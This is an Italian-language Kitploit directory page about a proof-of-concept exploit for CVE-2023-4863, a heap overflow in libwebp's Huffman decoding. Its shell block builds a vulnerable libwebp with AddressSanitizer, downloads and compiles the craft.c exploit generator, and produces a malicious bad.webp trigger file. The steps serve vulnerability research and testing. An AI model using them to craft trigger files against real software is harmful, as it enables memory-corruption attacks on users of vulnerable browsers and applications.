Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-4863 — Exploit proof-of-concept per CVE-2023-4863, un heap buffer overflow nella decodifica della tabella di Huffman di libwebp, con build con AddressSanitizer abilitato e generazione del file trigger. | Kitploit
Strumenti/GitHubGitHub/bbaranoff/cve-2023-4863
Memory ForensicsAnalisi delle VulnerabilitàExploitFuzzingBinary Exploitation
GitHubbbaranoff/cve-2023-4863

CVE-2023-4863

Exploit proof-of-concept per CVE-2023-4863, un heap buffer overflow nella decodifica della tabella di Huffman di libwebp, con build con AddressSanitizer abilitato e generazione del file trigger.

Vedi Repository
627 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-4863

root@kitploit:~
  # checkout webp
git clone https://chromium.googlesource.com/webm/libwebp/ webp_test
cd webp_test/
  # checkout vulnerable version
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
  # enable AddressSanitizer
sed -i 's/^EXTRA_FLAGS=.*/& -fsanitize=address/' makefile.unix
  # build webp
make -f makefile.unix
cd examples/
  # fetch mistymntncop's proof-of-concept code
wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c
  # build and run proof-of-concept
gcc -o craft craft.c
./craft bad.webp
  # test trigger file
./dwebp bad.webp -o test.png
Scarica lo strumento